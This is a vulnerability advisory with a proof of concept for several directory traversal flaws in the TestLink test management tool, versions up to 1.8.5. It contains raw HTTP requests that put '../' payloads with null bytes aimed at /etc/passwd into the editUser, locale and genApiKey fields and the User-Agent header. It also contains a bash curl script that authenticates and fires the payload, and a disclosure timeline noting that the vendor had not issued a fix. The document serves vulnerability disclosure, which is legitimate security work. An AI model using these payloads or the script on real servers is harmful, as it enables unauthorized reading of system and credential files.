1.Title :Multiple Directory traversal Vulnerabilites in Testlink Test Management and Execution System. Discovered by: Prashant Khandelwal (clickprashant@gmail.com) 2.Vulnerability Information Class: Directory Traversal Remotely Exploitable: Yes Locally Exploitable: No 3.Vulnerable packages. Versions affected :All versions <= Testlink 1.8.5 Download : http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc 4.Vulnerability Description Multiple directory traversal vulnerabilities has been found in Testlink(http://www.teamst.org/) a popular and acclaimed free, open source Test management tool written in PHP. The issue discovered can only be exploited with an authenticated session.This directory traversal vulnerability is present in the file /testlink/lib/usermanagement/userInfo.php & In testlink 1.8.5 these issues can be exploited by setting the variable "editUser"& "locale" like below with a HTTP POST request Example HTTP header for 1.8.5 ----------------------------------------------------------------------------------------------------------------------------------- a)Directory Traversal :The POST variable editUser has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd ------------------------------------------------------------------------------------------------------------------------------------ Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: 10.209.84.1 Content-Length: 182 Cookie: PHPSESSID=8ea021778858f826c5aab8be8f38868c;TL_lastTestProjectForUserID_1=2381 Connection: Close Pragma: no-cache id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=cs_CZ&editUser=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwdResponse ----------------------------------------------------------------------------------------------------------------------------------- b)Directory Traversal :The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html ------------------------------------------------------------------------------------------------------------------------------------ Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: 10.209.84.1 Content-Length: 160 Cookie: PHPSESSID=8ea021778858f826c5aab8be8f38868c;TL_lastTestProjectForUserID_1=2381 Connection: Close Pragma: no-cache id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=../../../../../../../../etc/passwd%00.html&editUser=GuardarResponse In testlink 1.8.4 these issues can be exploited by setting the variable "genApiKey"& "locale" like below with a HTTP POST request. Example HTTP header for 1.8.4 ----------------------------------------------------------------------------------------------------------- a)Directory traverasa : The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html. ----------------------------------------------------------------------------------------------------------- Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: 10.209.84.1 Content-Length: 153 Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381 Connection: Close Pragma: no-cache id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email@address.tst&locale=../../../../../../../../etc/passwd%00.html&editUser=SaveResponse ----------------------------------------------------------------------------------------------------------------------------------- b)Directory Traversal : The POST variable genApiKey has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd ------------------------------------------------------------------------------------------------------------------------------------ Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: 10.209.84.1 Content-Length: 81 Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381 Connection: Close Pragma: no-cache id=1&genApiKey=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd One of the issues in Testlink 1.8.4 can be exploited by directory traversing with the HTTP User-Agent header like below. ----------------------------------------------------------------------------------------------------------------------------------- c)Directory Traversal :The HTTP header user-agent has been set to ../../../../../../../../etc/passwd .htm. ------------------------------------------------------------------------------------------------------------------------------------ Request GET /testlink/lib/usermanagement/userInfo.php HTTP/1.0 Accept: */* User-Agent: ../../../../../../../../etc/passwd .htm Host: 10.209.84.1 Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381 Connection: Close Pragma: no-cacheResponse 5.Proof of Concept ================ #!/usr/bin/env bash # Prashant Khandelwal [clickprashant@gmail.com] # Remote Directory Traversal in Testlink the Test Management Tool # Vendor : Testlink http://www.teamst.org # Affected Version : <=1.8.5 (http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc) # Vulnerability Discovered: 5-Jan-2010 # This POC is for Educational purpose & has only been tested with testlink 1.8.5 if [ $# -ne 4 ] then echo "Usage - ./$0 User password Testlink_root_dir_URI Directory_traversal_string" echo "Example - ./$0 admin admin http://Testlink-Server/testlink ../../../../../../../../etc/passwd%00.html" exit 1 fi rm -rf cookies output.txt curl -d "tl_login=$1&tl_password=$2" $3/login.php -c cookies curl -d "id=1&firstName=Directorytraversal&lastName=Exploit&emailAddress=111-222-1933email%40address%2Etst&locale=$4&editUser=admin" $3/lib/usermanagement/userInfo.php -b cookies -v | more >output.txt head -n 80 output.txt ================ 6. Report Timeline I) 5-Jan-2010 Vulnerability dicovered II) 8-Jan-2010 Notified about the vulnerability to the developer Francisco Mancardi & Martin Havlat from testlink team III)8-Jan-2010 Developer Notifies that they will try to fix this. IV) 11-Jan-2010 Francisco Mancardi ask for POC. V) 14-Jan-2010 POC's given VI) 15-Jan-2010 Francisco Mancardi notified that these vulnerabilities cannot be patched at the moment and has not commited any timeline for fixing the same.